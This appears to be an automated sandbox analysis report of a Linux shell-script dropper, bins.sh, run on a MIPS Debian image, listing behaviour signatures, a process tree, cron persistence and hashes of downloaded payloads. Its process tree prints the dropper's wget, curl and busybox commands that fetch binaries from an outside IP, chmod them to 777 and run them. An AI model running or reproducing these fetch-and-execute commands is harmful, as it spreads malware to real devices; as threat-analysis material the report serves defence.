Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    31/10/2024, 18:12

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241031-ws6bbstlfq
  • SHA256 baab79252bc9c7f91e534d97826913a53ccd378649706b77c8f448566dab641d
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 26 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:704
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:710
        • /usr/bin/wget
          wget http://87.120.84.230/bins/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe
          2⤵
          • Writes file to tmp directory
          PID:713
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:734
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe
          2⤵
          • Writes file to tmp directory
          PID:740
        • /bin/chmod
          chmod 777 tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe
          2⤵
          • File and Directory Permissions Modification
          PID:744
        • /tmp/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe
          ./tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe
          2⤵
          • Executes dropped EXE
          PID:745
        • /bin/rm
          rm tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe
          2⤵
            PID:748
          • /usr/bin/wget
            wget http://87.120.84.230/bins/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR
            2⤵
            • Writes file to tmp directory
            PID:750
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:756
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR
            2⤵
            • Writes file to tmp directory
            PID:768
          • /bin/chmod
            chmod 777 IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR
            2⤵
            • File and Directory Permissions Modification
            PID:772
          • /tmp/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR
            ./IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR
            2⤵
            • Executes dropped EXE
            PID:774
          • /bin/rm
            rm IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR
            2⤵
              PID:777
            • /usr/bin/wget
              wget http://87.120.84.230/bins/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj
              2⤵
              • Writes file to tmp directory
              PID:778
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:789
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj
              2⤵
              • Writes file to tmp directory
              PID:796
            • /bin/chmod
              chmod 777 eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj
              2⤵
              • File and Directory Permissions Modification
              PID:798
            • /tmp/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj
              ./eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj
              2⤵
              • Executes dropped EXE
              PID:799
            • /bin/rm
              rm eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj
              2⤵
                PID:801
              • /usr/bin/wget
                wget http://87.120.84.230/bins/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs
                2⤵
                • Writes file to tmp directory
                PID:802
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:803
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs
                2⤵
                • Writes file to tmp directory
                PID:834
              • /bin/chmod
                chmod 777 7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs
                2⤵
                • File and Directory Permissions Modification
                PID:835
              • /tmp/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs
                ./7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs
                2⤵
                • Executes dropped EXE
                PID:836
              • /bin/rm
                rm 7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs
                2⤵
                  PID:838
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb
                  2⤵
                  • Writes file to tmp directory
                  PID:839
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:840
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb
                  2⤵
                  • Writes file to tmp directory
                  PID:841
                • /bin/chmod
                  chmod 777 OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb
                  2⤵
                  • File and Directory Permissions Modification
                  PID:842
                • /tmp/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb
                  ./OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb
                  2⤵
                  • Executes dropped EXE
                  PID:843
                • /bin/rm
                  rm OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb
                  2⤵
                    PID:845
                  • /usr/bin/wget
                    wget http://87.120.84.230/bins/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV
                    2⤵
                    • Writes file to tmp directory
                    PID:846
                  • /usr/bin/curl
                    curl -O http://87.120.84.230/bins/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV
                    2⤵
                    • Writes file to tmp directory
                    PID:847
                  • /bin/busybox
                    /bin/busybox wget http://87.120.84.230/bins/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV
                    2⤵
                    • Writes file to tmp directory
                    PID:848
                  • /bin/chmod
                    chmod 777 zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV
                    2⤵
                    • File and Directory Permissions Modification
                    PID:849
                  • /tmp/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV
                    ./zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV
                    2⤵
                    • Executes dropped EXE
                    PID:850
                  • /bin/rm
                    rm zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV
                    2⤵
                      PID:852
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:853
                    • /usr/bin/curl
                      curl -O http://87.120.84.230/bins/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ
                      2⤵
                      • Reads runtime system information
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:854
                    • /bin/busybox
                      /bin/busybox wget http://87.120.84.230/bins/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:855
                    • /bin/chmod
                      chmod 777 ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ
                      2⤵
                      • File and Directory Permissions Modification
                      PID:856
                    • /tmp/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ
                      ./ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ
                      2⤵
                      • Executes dropped EXE
                      • System Network Configuration Discovery
                      PID:857
                    • /bin/rm
                      rm ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ
                      2⤵
                      • System Network Configuration Discovery
                      PID:859
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd
                      2⤵
                      • Writes file to tmp directory
                      PID:860
                    • /usr/bin/curl
                      curl -O http://87.120.84.230/bins/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:861
                    • /bin/busybox
                      /bin/busybox wget http://87.120.84.230/bins/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd
                      2⤵
                      • Writes file to tmp directory
                      PID:862
                    • /bin/chmod
                      chmod 777 KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd
                      2⤵
                      • File and Directory Permissions Modification
                      PID:863
                    • /tmp/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd
                      ./KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:864
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:866
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                            • Reads runtime system information
                            PID:867
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:868
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              • Reads runtime system information
                              PID:869
                        • /bin/rm
                          rm KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd
                          2⤵
                            PID:871
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13
                            2⤵
                              PID:875
                            • /usr/bin/curl
                              curl -O http://87.120.84.230/bins/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13
                              2⤵
                                PID:876
                              • /bin/busybox
                                /bin/busybox wget http://87.120.84.230/bins/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13
                                2⤵
                                • Writes file to tmp directory
                                PID:877
                              • /bin/chmod
                                chmod 777 PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13
                                2⤵
                                • File and Directory Permissions Modification
                                PID:878
                              • /tmp/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13
                                ./PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13
                                2⤵
                                • Executes dropped EXE
                                PID:879
                              • /bin/rm
                                rm PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13
                                2⤵
                                  PID:881
                                • /usr/bin/wget
                                  wget http://87.120.84.230/bins/OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN
                                  2⤵
                                    PID:882
                                  • /usr/bin/curl
                                    curl -O http://87.120.84.230/bins/OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN
                                    2⤵
                                      PID:883
                                    • /bin/busybox
                                      /bin/busybox wget http://87.120.84.230/bins/OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:884

                                  Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs

                                        • Path /tmp/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs
                                        • Size 100KB
                                        • SHA256 d52f8bcb15a590aa5624c446091f1cd0705b68e4647debaeecf8cfa1fe425bd2
                                        • MD5 SHA1 SHA512 SSDEEP

                                        IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR

                                        • Path /tmp/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR
                                        • Size 84KB
                                        • SHA256 aaf14287d7a971d4541527262e85e5930bbb7f506cff4808d712843be9f05dae
                                        • MD5 SHA1 SHA512 SSDEEP

                                        KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd

                                        • Path /tmp/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd
                                        • Size 129KB
                                        • SHA256 b62a7cb65dda1cb1ae995b13b62d20289f43b7bc560211484cfdc98c0d9b5f12
                                        • MD5 SHA1 SHA512 SSDEEP

                                        OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN

                                        • Path /tmp/OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN
                                        • Size 24KB
                                        • SHA256 f379bc3507a95d5f45e51ba846a67fd58d0ec0198caf0d0a89de9d3f7d2c4f94
                                        • MD5 SHA1 SHA512 SSDEEP

                                        OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb

                                        • Path /tmp/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb
                                        • Size 129KB
                                        • SHA256 ed7e61403d47c0319eea05db0cba4d17bfb1594621d6722bfe43cffecacdf495
                                        • MD5 SHA1 SHA512 SSDEEP

                                        PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13

                                        • Path /tmp/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13
                                        • Size 93KB
                                        • SHA256 24689f385c263c42a28dd1498049171abc633faf91b5df2a738a81145d929bd6
                                        • MD5 SHA1 SHA512 SSDEEP

                                        ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ

                                        • Path /tmp/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ
                                        • Size 122KB
                                        • SHA256 b254f9a6df1e7aae5181abf014b9d574c959ab71bdfd3a2b21022446c583d843
                                        • MD5 SHA1 SHA512 SSDEEP

                                        eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj

                                        • Path /tmp/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj
                                        • Size 80KB
                                        • SHA256 100042d7138b4348a13c54c191d501d125b7fea7631382e7d0e9d7251057ce97
                                        • MD5 SHA1 SHA512 SSDEEP

                                        tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe

                                        • Path /tmp/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe
                                        • Size 95KB
                                        • SHA256 adb7828df990cedc9f301891e725c547656967d827ce9cfdf3f6e8fa8242618b
                                        • MD5 SHA1 SHA512 SSDEEP

                                        zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV

                                        • Path /tmp/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV
                                        • Size 101KB
                                        • SHA256 617734b61c7e230a72fba8cb8b361bda96cc2d8f40ee358c44a60f1d9b48ab07
                                        • MD5 SHA1 SHA512 SSDEEP

                                        tmp.l8hddz

                                        • Path /var/spool/cron/crontabs/tmp.l8hddz
                                        • Size 210B
                                        • SHA256 8b196ea7db5c07c24fae2809bcdbacfbffd854b11e6ee6c68e2da01e3b4b221c
                                        • MD5 SHA1 SHA512